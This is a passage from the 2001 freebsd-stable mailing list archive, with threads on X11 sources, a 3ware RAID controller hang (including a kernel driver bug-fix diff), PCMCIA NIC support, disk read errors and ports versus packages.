FreeBSD today; I'm asking about adding SRP (a different secure auth mechanism.) -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 18:47:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cx344940-a.meta1.la.home.com (cx344940-a.meta1.la.home.com [24.6.21.74]) by hub.freebsd.org (Postfix) with ESMTP id 48EC037B71A for ; Sat, 17 Mar 2001 18:47:46 -0800 (PST) (envelope-from conrads@cx344940-a.meta1.la.home.com) Received: (from conrads@localhost) by cx344940-a.meta1.la.home.com (8.11.3/8.11.3) id f2I2pfU11222; Sat, 17 Mar 2001 20:51:41 -0600 (CST) (envelope-from conrads) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sat, 17 Mar 2001 20:51:41 -0600 (CST) Organization: @Home Network From: Conrad Sabatier To: Rich Morin Subject: RE: installing X11 sources? Cc: freebsd-stable@FreeBSD.ORG Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 17-Mar-01 Rich Morin wrote: > I tried very diligently to get a _complete_ distribution off the 4.2 > installation CD-ROM. Nonetheless, it appears that I did not get any > source code for the commands in /usr/X11R6/bin. Looking over the FAQ, > Handbook, and CD-ROM, I don't see how I am supposed to get these. Can > someone please offer me some instruction? You can get the most up-to-date X sources from xfree86.org itself via CVS or cvsup. I'm running XFree86 4.0.99.1 right now. Pulled down the sources, tweaked a few config settings, did a "make World" and "make install". Simple. Check it out on the XFree86 site (www.xfree86.org). ---------------------------------- E-Mail: Conrad Sabatier Date: 17-Mar-01 Time: 20:37:19 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 18:49: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id B997837B718 for ; Sat, 17 Mar 2001 18:48:55 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2I2pEU04264; Sat, 17 Mar 2001 18:51:14 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103180251.f2I2pEU04264@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Douglas K. Rand" Cc: freebsd-stable@FreeBSD.ORG, Mike Tancsa , bryanh@meridian-enviro.com Subject: Re: 3ware problems In-reply-to: Your message of "Fri, 16 Mar 2001 15:00:21 CST." <3AB27EE5.7CCB1387@meridian-enviro.com> Mime-Version: 1.0 Content-Type: multipart/mixed ; boundary="==_Exmh_7072093770" Date: Sat, 17 Mar 2001 18:51:14 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multipart MIME message. --==_Exmh_7072093770 Content-Type: text/plain; charset=us-ascii > > So far the only way I can get the problem to show up is banging on > > MySQL for 3-12 hours. > > Here is a short perl script that along with MySQL 3.23.33 will hang our > 3ware controller: I had to change this to 'fortune -s' to prevent the server from aborting the client connection, but it's just passed 2.5M rows and still counting. Do you have any other tuning in effect? Is the filesystem mounted with softupdates enabled, for example? Please find attached diffs to bring the driver up to my current working version. There's a couple of small races closed in this code which might have an effect on your problem (not sure about that, though), so I'd love to know if they help you. Regards, Mike --==_Exmh_7072093770 Content-Type: text/plain ; name="twe.diff"; charset=us-ascii Content-Description: twe.diff Content-Disposition: attachment; filename="twe.diff" Index: twe.c =================================================================== RCS file: /local0/cvs/src/sys/dev/twe/twe.c,v retrieving revision 1.7 diff -u -r1.7 twe.c --- twe.c 2001/01/23 22:21:14 1.7 +++ twe.c 2001/03/17 23:43:58 @@ -47,8 +47,10 @@ static void *twe_get_param(struct twe_softc *sc, int table_id, int parameter_id, size_t size, void (* func)(struct twe_request *tr)); static int twe_set_param_1(struct twe_softc *sc, int table_id, int param_id, u_int8_t value); +#if 0 static int twe_set_param_2(struct twe_softc *sc, int table_id, int param_id, u_int16_t value); static int twe_set_param_4(struct twe_softc *sc, int table_id, int param_id, u_int32_t value); +#endif static int twe_set_param(struct twe_softc *sc, int table_id, int param_id, int param_size, void *data); static int twe_init_connection(struct twe_softc *sc, int mode); @@ -373,7 +375,17 @@ cmd->io.lba = TWE_BIO_LBA(bp); /* map the command so the controller can work with it */ - twe_map_request(tr); + if (twe_map_request(tr) != 0) { + /* + * We can't map the request, so put the bio back on the + * queue, release the request and return to give the + * system time to recover. + */ + tr->tr_private = NULL; + twe_release_request(tr); + twe_enqueue_bio(sc, bp); + return; + } } /* did we find something to do? */ @@ -578,7 +590,6 @@ { sc->twe_state |= TWE_STATE_INTEN; TWE_CONTROL(sc, - TWE_CONTROL_CLEAR_ATTENTION_INTERRUPT | TWE_CONTROL_UNMASK_RESPONSE_INTERRUPT | TWE_CONTROL_ENABLE_INTERRUPTS); } @@ -720,6 +731,7 @@ return(twe_set_param(sc, table_id, param_id, sizeof(value), &value)); } +#if 0 /* currently unused */ static int twe_set_param_2(struct twe_softc *sc, int table_id, int param_id, u_int16_t value) { @@ -731,6 +743,7 @@ { return(twe_set_param(sc, table_id, param_id, sizeof(value), &value)); } +#endif /******************************************************************************** * Perform a TWE_OP_SET_PARAM command, returns nonzero on error. @@ -1225,11 +1238,8 @@ debug_called(4); /* instigate a poll for AENs */ - if (twe_fetch_aen(sc)) { - twe_printf(sc, "error polling for signalled AEN\n"); - } else { - TWE_CONTROL(sc, TWE_CONTROL_CLEAR_ATTENTION_INTERRUPT); - } + TWE_CONTROL(sc, TWE_CONTROL_CLEAR_ATTENTION_INTERRUPT); + twe_fetch_aen(sc); } /******************************************************************************** @@ -1290,9 +1300,14 @@ free(tr->tr_data, M_DEVBUF); twe_release_request(tr); - twe_enqueue_aen(sc, aen); - /* XXX poll for more AENs? */ + /* if we've hit the end of the queue, stop */ + if (aen == TWE_AEN_QUEUE_EMPTY) + return; + + /* enqueue this AEN and poll for the next one */ + twe_enqueue_aen(sc, aen); + twe_fetch_aen(sc); } /******************************************************************************** @@ -1619,6 +1634,11 @@ msg, TWE_AEN_UNIT(aen)); } return(buf); + + case 'd': + sprintf(buf, "twe%d: port %d: %s ", device_get_unit(sc->twe_dev), + TWE_AEN_UNIT(aen), msg); + return(buf); case 'x': default: @@ -1692,6 +1712,7 @@ #ifdef TWE_DEBUG panic(reason); #else + twe_printf(sc, "twe_panic - %s\n", reason); twe_reset(sc); #endif } Index: twe_compat.h =================================================================== RCS file: /local0/cvs/src/sys/dev/twe/twe_compat.h,v retrieving revision 1.2 diff -u -r1.2 twe_compat.h --- twe_compat.h 2000/10/25 06:59:05 1.2 +++ twe_compat.h 2001/03/17 23:55:18 @@ -131,7 +131,9 @@ #define twed_printf(twed, fmt, args...) device_printf(twed->twed_dev, fmt , ##args) #if __FreeBSD_version < 500003 /* old buf style */ +# include # include +# include typedef struct buf twe_bio; typedef struct buf_queue_head twe_bioq; # define TWE_BIO_QINIT(bq) bufq_init(&bq); @@ -150,6 +152,7 @@ # define TWE_BIO_DONE(bp) biodone(bp) # define TWE_BIO_STATS_START(bp) devstat_start_transaction(&((struct twed_softc *)TWE_BIO_SOFTC(bp))->twed_stats) # define TWE_BIO_STATS_END(bp) devstat_end_transaction_buf(&((struct twed_softc *)TWE_BIO_SOFTC(bp))->twed_stats, bp) +# define TWE_DISKERR(bp, wh, bd, lp) diskerr(bp, wh, LOG_PRINTF, bd, lp) #else # include typedef struct bio twe_bio; @@ -170,6 +173,7 @@ # define TWE_BIO_DONE(bp) biodone(bp) # define TWE_BIO_STATS_START(bp) devstat_start_transaction(&((struct twed_softc *)TWE_BIO_SOFTC(bp))->twed_stats) # define TWE_BIO_STATS_END(bp) devstat_end_transaction_bio(&((struct twed_softc *)TWE_BIO_SOFTC(bp))->twed_stats, bp) +# define TWE_DISKERR(bp, wh, bd, lp) diskerr(bp, wh, bd, lp) #endif #endif /* FreeBSD */ Index: twe_freebsd.c =================================================================== RCS file: /local0/cvs/src/sys/dev/twe/twe_freebsd.c,v retrieving revision 1.3 diff -u -r1.3 twe_freebsd.c --- twe_freebsd.c 2000/12/03 02:11:35 1.3 +++ twe_freebsd.c 2001/03/17 23:53:38 @@ -663,6 +663,7 @@ if (sc == NULL) { TWE_BIO_SET_ERROR(bp, EINVAL); printf("twe: bio for invalid disk!\n"); + TWE_BIO_RESID(bp) = TWE_BIO_LENGTH(bp); TWE_BIO_DONE(bp); TWED_BIO_OUT; return; @@ -753,11 +754,18 @@ void twed_intr(twe_bio *bp) { + struct twed_softc *twed_sc = TWE_BIO_SOFTC(bp); + debug_called(4); /* if no error, transfer completed */ - if (!TWE_BIO_HAS_ERROR(bp)) + if (!TWE_BIO_HAS_ERROR(bp)) { TWE_BIO_RESID(bp) = 0; + } else { + TWE_BIO_RESID(bp) = TWE_BIO_LENGTH(bp); + TWE_DISKERR(bp, TWE_BIO_IS_READ(bp) ? "read error" : "write error", 0, + &twed_sc->twed_label); + } TWE_BIO_STATS_END(bp); TWE_BIO_DONE(bp); @@ -960,13 +968,24 @@ tr->tr_cmdphys = segs[0].ds_addr; } -void +int twe_map_request(struct twe_request *tr) { struct twe_softc *sc = tr->tr_sc; debug_called(4); + /* + * Data must be 64-byte aligned; allocate a fixup buffer if it's not. + */ + if ((tr->tr_data != NULL) && (((vm_offset_t)tr->tr_data % TWE_ALIGNMENT) != 0)) { + tr->tr_realdata = tr->tr_data; /* save pointer to 'real' data */ + if ((tr->tr_data = malloc(tr->tr_length, TWE_MALLOC_CLASS, M_NOWAIT)) == NULL) { + tr->tr_data = tr->tr_realdata; + return(ENOMEM); + } + tr->tr_flags |= TWE_CMD_ALIGNBUF; + } /* * Map the command into bus space. @@ -980,15 +999,6 @@ */ if (tr->tr_data != NULL) { - /* - * Data must be 64-byte aligned; allocate a fixup buffer if it's not. - */ - if (((vm_offset_t)tr->tr_data % TWE_ALIGNMENT) != 0) { - tr->tr_realdata = tr->tr_data; /* save pointer to 'real' data */ - tr->tr_flags |= TWE_CMD_ALIGNBUF; - tr->tr_data = malloc(tr->tr_length, TWE_MALLOC_CLASS, M_NOWAIT); /* XXX check result here */ - } - /* * Map the data buffer into bus space and build the s/g list. */ @@ -1003,6 +1013,7 @@ bus_dmamap_sync(sc->twe_buffer_dmat, tr->tr_dmamap, BUS_DMASYNC_PREWRITE); } } + return(0); } void @@ -1039,6 +1050,7 @@ if (tr->tr_flags & TWE_CMD_ALIGNBUF) { free(tr->tr_data, TWE_MALLOC_CLASS); tr->tr_data = tr->tr_realdata; /* restore 'real' data pointer */ + tr->tr_flags &= ~TWE_CMD_ALIGNBUF; } } Index: twe_tables.h =================================================================== RCS file: /local0/cvs/src/sys/dev/twe/twe_tables.h,v retrieving revision 1.1 diff -u -r1.1 twe_tables.h --- twe_tables.h 2000/10/25 06:59:05 1.1 +++ twe_tables.h 2001/03/17 23:43:28 @@ -127,6 +127,12 @@ {"c drive timeout", 0x09}, {"c drive error", 0x0a}, {"c rebuild started", 0x0b}, + {"c init started", 0x0c}, + {"c logical unit deleted", 0x0d}, + /* 0x0e unused */ + {"d SMART exceeded threshold", 0x0f}, + /* 0x10-0x20 reserved */ + {"p aen queue full", 0xff}, {NULL, 0}, {"x unknown AEN", 0} Index: twevar.h =================================================================== RCS file: /local0/cvs/src/sys/dev/twe/twevar.h,v retrieving revision 1.3 diff -u -r1.3 twevar.h --- twevar.h 2000/12/03 02:11:35 1.3 +++ twevar.h 2001/03/17 23:43:28 @@ -148,7 +148,7 @@ extern void twed_intr(twe_bio *bp); /* return bio from core */ extern struct twe_request *twe_allocate_request(struct twe_softc *sc); /* allocate request structure */ extern void twe_free_request(struct twe_request *tr); /* free request structure */ -extern void twe_map_request(struct twe_request *tr); /* make request visible to controller, do s/g */ +extern int twe_map_request(struct twe_request *tr); /* make request visible to controller, do s/g */ extern void twe_unmap_request(struct twe_request *tr); /* cleanup after transfer, unmap */ /******************************************************************************** @@ -240,7 +240,7 @@ } static __inline void -twe_enqueue_bio(struct twe_softc *sc, struct bio *bp) +twe_enqueue_bio(struct twe_softc *sc, twe_bio *bp) { int s; @@ -250,11 +250,11 @@ splx(s); } -static __inline struct bio * +static __inline twe_bio * twe_dequeue_bio(struct twe_softc *sc) { int s; - struct bio *bp; + twe_bio *bp; s = splbio(); if ((bp = TWE_BIO_QFIRST(sc->twe_bioq)) != NULL) { --==_Exmh_7072093770 Content-Type: text/plain; charset=us-ascii ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E --==_Exmh_7072093770-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 19:16: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 606D437B718 for ; Sat, 17 Mar 2001 19:16:01 -0800 (PST) (envelope-from Gerhard.Sittig@gmx.net) Received: (qmail 12587 invoked by uid 0); 18 Mar 2001 03:15:59 -0000 Received: from pd9508875.dip.t-dialin.net (HELO speedy.gsinet) (217.80.136.117) by mail.gmx.net (mp027-rz3) with SMTP; 18 Mar 2001 03:15:59 -0000 Received: (from sittig@localhost) by speedy.gsinet (8.8.8/8.8.8) id VAA30771 for stable@freebsd.org; Sat, 17 Mar 2001 21:42:33 +0100 Date: Sat, 17 Mar 2001 21:42:33 +0100 From: Gerhard Sittig To: stable@freebsd.org Subject: Re: Is D-Link DFE-650TX PCMCIA NIC supported in 4.3 BETA? Message-ID: <20010317214233.I20830@speedy.gsinet> Mail-Followup-To: stable@freebsd.org References: <00f901c0af05$01e1dad0$011aa8c0@godzilla> <20010317182358.86078.qmail@web12005.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <20010317182358.86078.qmail@web12005.mail.yahoo.com>; from xulfralos@yahoo.com on Sat, Mar 17, 2001 at 10:23:58AM -0800 Organization: System Defenestrators Inc. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Mar 17, 2001 at 10:23 -0800, SolarFlux wrote: > > I installed 4.2-RELEASE on my laptop some time ago and this ^^^^^^^^^^^ > 10/100 pccard nic didn't work. This card has been out for some > time now and I'm just wondering if someone has submitted a > driver for 4.3 BETA. In December -CURRENT's ed(4) driver was extended. The functionality was MFCed to -STABLE in January. ----- cvs log sys/dev/ed/if_ed_pccard.c ------------------------- [ ... ] revision 1.25 date: 2000/12/18 15:28:53; author: toshi; state: Exp; lines: +44 -2 Linksys Fast Ethernet PCCARD cards supported by the ed driver now require the addition of flag 0x80000 to their config line in pccard.conf(5). This flag is not optional. These Linksys cards will not be recognized without it. [ ... ] revision 1.9.2.5 date: 2001/01/17 13:28:50; author: toshi; state: Exp; lines: +48 -2 MFC: Additional flag 0x80000 for Linksys type cards. [ ... ] ----------------------------------------------------------------- This still didn't make the card work for me, but see http://www.freebsddiary.org/last-netgear.html for a method to force link speed and duplex mode. If this tool works for you, you might want to see my "misc/25147: [PATCH] to make D-Link DFE-650 work with -STABLE" PR at http://www.freebsd.org/cgi/query-pr.cgi?pr=25147 for how to make things happen automatically. -CURRENT is said to have gotten similar code or even better (cleaner) tweaks for the card lately. Look out for Warner Losh's commits of the last weeks. fa_select should be considered a hack. But admittedly I never ran the new code (don't have -CURRENT around). virtually yours 82D1 9B9C 01DC 4FB4 D7B4 61BE 3F49 4F77 72DE DA76 Gerhard Sittig true | mail -s "get gpg key" Gerhard.Sittig@gmx.net -- If you don't understand or are scared by any of the above ask your parents or an adult to help you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 19:24:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from siegfried.utmb.edu (siegfried.utmb.edu [129.109.59.86]) by hub.freebsd.org (Postfix) with ESMTP id 7308237B718 for ; Sat, 17 Mar 2001 19:24:38 -0800 (PST) (envelope-from bdodson@scms.utmb.EDU) Received: from histidine.utmb.edu (125.222.nas7.ippool.hypercon.com [198.64.222.125]) by siegfried.utmb.edu (8.9.3/8.9.3) with ESMTP id XAA41947; Sat, 17 Mar 2001 23:01:46 -0600 (CST) (envelope-from bdodson@histidine.utmb.edu) Received: (from bdodson@localhost) by histidine.utmb.edu (8.11.2/8.11.2) id f2I3Pie00820; Sat, 17 Mar 2001 21:25:44 -0600 (CST) (envelope-from bdodson) Date: Sat, 17 Mar 2001 21:25:44 -0600 (CST) Message-Id: <200103180325.f2I3Pie00820@histidine.utmb.edu> From: "M. L. Dodson" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Rich Wales Cc: freebsd-stable@freebsd.org Subject: Re: disk hard read error: anything to be done? In-Reply-To: <20010317234514.52474.richw@wyattearp.stanford.edu> References: <200103161406.f2GE6TR00415@histidine.utmb.edu> <20010317234514.52474.richw@wyattearp.stanford.edu> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Rich Wales writes: > M. L. (Bud) Dodson wrote: > > > ad0: HARD READ ERROR blk# 983151 status=59 error=40 > > ad0: DMA problem fallback to PIO mode > > > Should I do anything about this . . . . > > Make sure the drive isn't getting too hot. Do you have adequate ven- > tilation in the computer case? Are the fans working? Is there plenty > of air flow around the drive? > > You might want to remount the drive upside down (with the circuit board > on top); this may help keep the drive mechanism from overheating. > > You should always keep backups, of course, but you should =definitely= > make sure you have a good backup of the data on =this= drive. Even if > improving air flow makes the errors go away, the drive has given you > fair warning that it's likely to die sooner rather than later. > > I had a drive myself, BTW, that was starting to give hard errors a few > months ago. I remounted it upside down, with more space around it, and > added another fan, and (touch wood!) I haven't had any more errors from > this drive for about three months now. > > Rich Wales richw@webcom.com http://www.webcom.com/richw/ > Thanks for the input. Don't think it was heat because it was always the same block reported. I went to single user, unmounted all but /, gave them a fsck, which found a problem in the partition mounted on /var, let fsck fix the problem sectors/blocks it found (four in all, adjacent to one another), and all has been OK since. In any case, I now have all the sector numbers (reported by fsck) to give to badsect(8), if the fsck does not lock them out semipermanently. (I'm not real sure about that part.) And, of course, I've taken a backup. I feel lucky that this was on /var, which is more expendable, and smaller. If need be, I can just not use the partition presently mounted on /var. This is the first problem I've had on this class of IBM drives. Thanks again for the input! Bud Dodson -- M. L. Dodson bdodson@scms.utmb.edu 409-772-2178 FAX: 409-772-1790 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 19:28:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from idiom.com (idiom.com [216.240.32.1]) by hub.freebsd.org (Postfix) with ESMTP id 0E33437B71A for ; Sat, 17 Mar 2001 19:28:19 -0800 (PST) (envelope-from rdm@cfcl.com) Received: from cfcl.com (cpe-24-221-169-54.ca.sprintbbd.net [24.221.169.54]) by idiom.com (8.9.3/8.9.3) with ESMTP id TAA19825 for ; Sat, 17 Mar 2001 19:28:18 -0800 (PST) Received: from [192.168.168.205] (cerberus [192.168.168.205]) by cfcl.com (8.11.1/8.11.1) with ESMTP id f2I3TSV20484 for ; Sat, 17 Mar 2001 19:29:29 -0800 (PST) (envelope-from rdm@cfcl.com) Mime-Version: 1.0 Message-Id: In-Reply-To: References: Date: Sat, 17 Mar 2001 19:19:14 -0800 To: freebsd-stable@freebsd.org From: Rich Morin Subject: RE: installing X11 sources? Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peculiarly, I'm not really all that interested in getting the latest X11 sources. In fact, we don't even use X11, locally. What I wanted was a snapshot of the exact source tree that was used to create the X11R6 binaries that were distributed with FreeBSD 4.2. I was planning to use this to build linkage information for The FreeBSD Browser: http://www.cfcl.com/Meta/md_fb.html Now, I'm not quite sure what to do. I guess I'll grab the current version from the ports collection and hope it's not too different... -r -- -- http://www.cfcl.com/rdm email: rdm@cfcl.com phone: +1 650-873-7841 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 19:50: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id 16DBF37B718 for ; Sat, 17 Mar 2001 19:50:01 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2I3mfH98538; Sat, 17 Mar 2001 19:48:42 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: mwm@mired.org Cc: rdm@cfcl.com, freebsd-stable@FreeBSD.ORG Subject: Re: installing X11 sources? In-Reply-To: <15027.54000.578061.623441@guru.mired.org> References: <15027.54000.578061.623441@guru.mired.org> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010317194841N.jkh@osd.bsdi.com> Date: Sat, 17 Mar 2001 19:48:41 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 6 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yeah, I really need to remove the "X sources" item from sysinstall in order to adapt to the new status quo (well, not exactly "new" I guess). - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 19:52:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id 4712437B71B; Sat, 17 Mar 2001 19:52:55 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from localhost.meridian-enviro.com (kfarms.meridian-enviro.com [10.10.10.20]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2I3qpQ50317; Sat, 17 Mar 2001 21:52:52 -0600 (CST) (envelope-from rand@meridian-enviro.com) Date: Sat, 17 Mar 2001 21:52:50 -0600 Message-ID: <87itl768dp.wl@localhost.meridian-enviro.com> From: rand@meridian-enviro.com To: Mike Smith Cc: "Douglas K. Rand" , freebsd-stable@FreeBSD.ORG, Mike Tancsa , bryanh@meridian-enviro.com Subject: Re: 3ware problems In-Reply-To: <200103180251.f2I2pEU04264@mass.dis.org> References: <3AB27EE5.7CCB1387@meridian-enviro.com> <200103180251.f2I2pEU04264@mass.dis.org> User-Agent: Wanderlust/2.5.8 (Smooth) SEMI/1.14.3 (Ushinoya) FLIM/1.14.2 (Yagi-Nishiguchi) APEL/10.2 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) X-Face: $L%T~#'9fAQ])o]A][d7EH`V;"_;2K;TEPQB=v]rDf_2s% So far the only way I can get the problem to show up is banging Doug> on MySQL for 3-12 hours. Doug> Here is a short perl script that along with MySQL 3.23.33 will Doug> hang our 3ware controller: Mike> I had to change this to 'fortune -s' to prevent the server from Mike> aborting the client connection, but it's just passed 2.5M rows Mike> and still counting. This has run up until 10 million rows or so with out failing for us. Sometimes if fails earlier, but not often before 2 million rows. I've had it insert 30 million rows before. Mike> Do you have any other tuning in effect? Is the filesystem Mike> mounted with softupdates enabled, for example? We do have softupdates on the filesystem, but it has failed for us with out softupdates. We also have a few things in the my.cnf file: skip-locking set-variable = max_allowed_packet=24M set-variable = key_buffer=128M set-variable = table_cache=128 set-variable = sort_buffer=2M set-variable = record_buffer=2M set-variable = myisam_sort_buffer_size=64M set-variable = thread_cache=8 Although we have reproduced the problem with out any tuning. Mike> Please find attached diffs to bring the driver up to my current Mike> working version. There's a couple of small races closed in this Mike> code which might have an effect on your problem (not sure about Mike> that, though), so I'd love to know if they help you. Just as soon as I watch the University of North Dakota win the WCHA in overtime I'll rebuild the kernel with your patch and run it again. :) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 20: 0:12 2001 Delivered-To: freebsd-stable@freebsd.org Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by hub.freebsd.org (Postfix) with ESMTP id 9E7FD37B718 for ; Sat, 17 Mar 2001 20:00:06 -0800 (PST) (envelope-from stuyman@confusion.net) Received: from confusion.net (user-2ivec3f.dialup.mindspring.com [165.247.48.111]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id WAA03863; Sat, 17 Mar 2001 22:59:32 -0500 (EST) Message-ID: <3AB432A4.E8E3F390@confusion.net> Date: Sat, 17 Mar 2001 22:59:32 -0500 From: Laurence Berland X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jordan Hubbard Cc: mwm@mired.org, rdm@cfcl.com, freebsd-stable@FreeBSD.ORG Subject: Re: installing X11 sources? References: <15027.54000.578061.623441@guru.mired.org> <20010317194841N.jkh@osd.bsdi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just out of curiosity, are basically all the sources still in the toolkit? Or just a select few? Jordan Hubbard wrote: > > Yeah, I really need to remove the "X sources" item from sysinstall in > order to adapt to the new status quo (well, not exactly "new" I > guess). > > - Jordan > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Laurence Berland Intern, Flooz.com Northwestern '04 stuyman@confusion.net http://www.isp.northwestern.edu/~laurence "The world has turned and left me here" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 20: 1: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id CFCC137B719 for ; Sat, 17 Mar 2001 20:01:02 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2I3xWH98624; Sat, 17 Mar 2001 19:59:33 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: stuyman@confusion.net Cc: mwm@mired.org, rdm@cfcl.com, freebsd-stable@FreeBSD.ORG Subject: Re: installing X11 sources? In-Reply-To: <3AB432A4.E8E3F390@confusion.net> References: <15027.54000.578061.623441@guru.mired.org> <20010317194841N.jkh@osd.bsdi.com> <3AB432A4.E8E3F390@confusion.net> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010317195932F.jkh@osd.bsdi.com> Date: Sat, 17 Mar 2001 19:59:32 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 4 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As many sources as we could fit are there. I couldn't say for sure about this specific set of distfiles though. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 20: 2:56 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns2.alphaque.com (ns2.alphaque.com [202.185.254.11]) by hub.freebsd.org (Postfix) with SMTP id 7860B37B718 for ; Sat, 17 Mar 2001 20:02:51 -0800 (PST) (envelope-from dinesh@alphaque.com) Received: (qmail 16331 invoked from network); 18 Mar 2001 04:02:48 -0000 Received: from j152.brf85.jaring.my (HELO prophet.alphaque.com) (161.142.154.166) by ns2.alphaque.com with SMTP; 18 Mar 2001 04:02:48 -0000 Received: from localhost (x1b0np@localhost.alphaque.com [127.0.0.1]) by prophet.alphaque.com (8.11.3/8.11.3) with ESMTP id f2HL6U202376; Sun, 18 Mar 2001 05:06:30 +0800 (MYT) (envelope-from dinesh@alphaque.com) Date: Sun, 18 Mar 2001 05:06:29 +0800 (MYT) From: Dinesh Nair To: Kris Kennaway Cc: Eric M Logan , "freebsd-stable@FreeBSD.ORG" Subject: Re: ports vs. packages... In-Reply-To: <20010317125349.E22316@mollari.cthul.hu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 17 Mar 2001, Kris Kennaway wrote: > There are three main benefits I can think of: the fourth, for me is * pulling down the gzipped sources off a 56k dialup is a lot faster than pulling down binary packages off a web/ftp site if a cdrom is not available for some reason or another. --dinesh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 20:18:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by hub.freebsd.org (Postfix) with ESMTP id 